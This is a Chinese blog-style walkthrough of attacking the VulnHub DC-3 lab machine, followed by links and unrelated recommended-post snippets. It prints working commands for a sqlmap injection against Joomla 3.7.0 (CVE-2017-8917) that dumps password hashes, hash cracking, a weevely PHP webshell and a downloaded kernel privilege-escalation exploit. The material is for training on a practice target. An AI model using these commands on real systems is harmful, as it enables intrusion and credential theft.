准备工作

在vulnhub官网下载DC:1靶机www.vulnhub.com/entry/dc-3,312/

导入到vmware

导入的时候遇到一个问题

解决方法:

点 “虚拟机”->“设置”->选择 “磁盘/光驱IDE设备" ->点 ”高级“,

将要 启动设备 设置到 IDE 0:0 上就可以了

打开kali准备进行渗透(ip:192.168.200.6)

信息收集

利用nmap进行ip端口探测

nmap -sS 192.168.200.6/24  

探测到ip为192.168.200.14的靶机,开放了80端口,这里吸取到dc2的教训,再用nmap对所有端口进行探测

nmap -sV -p- 192.168.200.14 

已经没有别的端口开放了,那就进入网站看看

首页给到的信息是只有一个flag和一个入口,让我们直接获取root权限,简单粗暴

网站用的是Joomla框架,可以使用joomscan工具获取其框架的详细版本信息

再用dirsearch对目录进行扫描看看有没有别的有用信息

dirsearch -u http://192.168.200.14:80

除了个后台登陆页面好像没有别的有用的信息了http://192.168.200.14/administrator/index.php

Joomla

使用joomscan进行扫描,在kali直接下载

apt install joomscan

joomscan -u 192.168.200.14

 

看到版本是joomla3.7.0

百度到joomla存在sql注入漏洞CVE-2017-8917

但在msf不能直接利用这个漏洞

只能在searchploit中查找关于这个漏洞的利用方法

searchsploit joomla 3.7

可以打开txt文件查看具体的利用方法说明(绝对路径为/usr/share/exploitdb/exploits/php/webapps/42033.txt)

cat /usr/share/exploitdb/exploits/php/webapps/42033.txt 

直接告诉我们使用sqlmap,payload都写好给你了

漏洞利用——sql注入

使用sqlmap用刚刚得到的payload直接跑

sqlmap -u "http://192.168.200.14/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

得到5个数据库,接下来查看joomladb数据库中的表

sqlmap -u "http://192.168.200.14/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

拿到表名#__users,接下来查看列名

sqlmap -u "http://192.168.200.14/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --columns -p list[fullordering]

拿到列名后就可以看数据了

sqlmap -u "http://192.168.200.14/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' -C name,password,username --dump -p list[fullordering]

得到加密的密码$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

去md5在线解密网站也解不出,但应该也是某种hash加密,只能祭出强大的John the Ripper(密码破解工具)

保存一下密码,直接用john爆破

得到密码snoopy

去之前扫到的后台登陆界面登陆后台

漏洞利用——文件上传

在后台管理页面中找到了文件上传的地方,准备测试一下有没有文件上传的漏洞

使用weevely(linux中的蚁剑)工具生成后门木马

weevely generate test test.php

这样就生成了后门木马

但这里的文件上传的地方好像不行,只能在里面创建一个文件,然后将代码复制进去

然后用weevely连接shell(这里的url是test.php的路径)

weevely http://192.168.200.14/templates/beez3/test.php test

连接成功,现在已经拿到一个webshell,但只有www-data权限,开始提权

权限提升

查看内核版本

uname -a

 

使用linux 4.4.0-21-generic #37-Ubuntu,在网上查找是ubuntu16.04

在searchploit寻找关于ubuntu16.04的权限提升的漏洞

searchsploit ubuntu 16.04 linux

打开文件查看漏洞具体利用方法

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

下载exp到dc3的本地

wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip

解压 unzip 39772.zip,再解压tar -xvf exploit.tar

接下来就执行刚刚漏洞利用文件演示的代码

./compile.sh
./doubleput

但是我不知道什么情况执行了之后报错,看了看别人的也有一位和我一样卡住不知道什么原因

就差最后一步就可以拿到flag了。。。以后有时间在看看是怎么回事

参考文章

靶机实战-DC-3_滕财然的博客-CSDN博客

Vulnhub之路Ⅵ——DC-3(最后一步卡住) - 知乎 (zhihu.com)

vulnhub-DC:3靶机渗透记录的更多相关文章

  1. vulnhub-DC:2靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-2,311/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  2. vulnhub-DC:5靶机渗透记录

    准备工作 在vulnhub官网下载DC:5靶机DC: 5 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  3. vulnhub-DC:6靶机渗透记录

    准备工作 在vulnhub官网下载DC:6靶机DC: 6 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  4. vulnhub-DC:1靶机渗透记录

    准备工作 在vulnhub官网下载DC:1靶机https://www.vulnhub.com/entry/dc-1,292/ 导入到vmware 打开kali准备进行渗透(ip:192.168.200 ...

  5. vulnhub-DC:4靶机渗透记录

    准备工作 在vulnhub官网下载DC:4靶机https://www.vulnhub.com/entry/dc-4,313/ 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:19 ...

  6. vulnhub-DC:7靶机渗透记录

    准备工作 在vulnhub官网下载DC:7靶机DC: 7 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 已经知道了靶 ...

  7. vulnhub-DC:8靶机渗透记录

    准备工作 在vulnhub官网下载DC:8靶机DC: 8 ~ VulnHub 导入到vmware,设置成NAT模式 打开kali准备进行渗透(ip:192.168.200.6) 信息收集 利用nmap ...

  8. vulnhub-XXE靶机渗透记录

    准备工作 在vulnhub官网下载xxe靶机 导入虚拟机 开始进行渗透测试 信息收集 首先打开kali,设置成NAT模式 查看本机ip地址 利用端口扫描工具nmap进行探测扫描 nmap -sS 19 ...

  9. DC 1-3 靶机渗透

    DC-1靶机 端口加内网主机探测,发现192.168.114.146这台主机,并且开放了有22,80,111以及48683这几个端口. 发现是Drupal框架. 进行目录的扫描: 发现admin被禁止 ...

随机推荐

  1. Android客户端网络预连接优化机制探究

    一.背景 一般情况下,我们都是用一些封装好的网络框架去请求网络,对底层实现不甚关注,而大部分情况下也不需要特别关注处理.得益于因特网的协议,网络分层,我们可以只在应用层去处理业务就行.但是了解底层的一 ...

  2. ld-linux-x86-64消耗大量的CPU

    1.现象: 服务器CPU使用率很高 top查看cpu使用进程: 2.进程用户是oracle,根据spid查看是否是数据库进程,经过查询发现:不是数据库内部的进程 select a.sql_id,a.s ...

  3. centos7安装JDK、CentOS

    1.安装JDK 1.1查看系统是否已有自带的JDK rpm -qa |grep java rpm -qa |grep jdk rpm -qa |grep gcj 1.2卸载已有安装 如果没有输出信息, ...

  4. UnityPlayerActivity删除后的后果

    刚踩完这个坑,来说一下吧! 原因: 我因为前阵子学习了一下Unity Android交互,在这个过程中,我创建了类库,在类库里因为要用UnityPlayerActivity.java类所以便把Unit ...

  5. 第1章:Kubernetes 系统基础

    51.1.kubernetes介绍: 1.什么是kubernetes: (1)Kubernetes是容器集群管理系统,是一个开源的平台,可以实现容器集群的自动化部署.自动扩缩容.维护等功能. (2)使 ...

  6. 精尽Spring Boot源码分析 - 配置加载

    该系列文章是笔者在学习 Spring Boot 过程中总结下来的,里面涉及到相关源码,可能对读者不太友好,请结合我的源码注释 Spring Boot 源码分析 GitHub 地址 进行阅读 Sprin ...

  7. acwing 4 多重背包问题 I

    多重背包 有 n种物品 一共有 m大小的背包,每种物品的价值 大小 个数 为 s[i],v[i],num[i]; #include<bits/stdc++.h>//cmhao #defin ...

  8. Spring 依赖注入(DI) 的三种方式 和 对集合类型的注入

    // 分别省略了getter setter public class Student { private String name; private int age; private Teacher t ...

  9. redis的基本操作指令

    https://www.cnblogs.com/woshimrf/p/5198361.html

  10. buu SimpleRev

    一.发现是elf文件,拖入ida,然后直接找到了关键函数 点击那个Decry()函数 二.逻辑还是很清晰的,而我是卡在这里v1的逆算法,感觉学到了很多,其实爆破就足够了 这里大小写可以一起写上 tex ...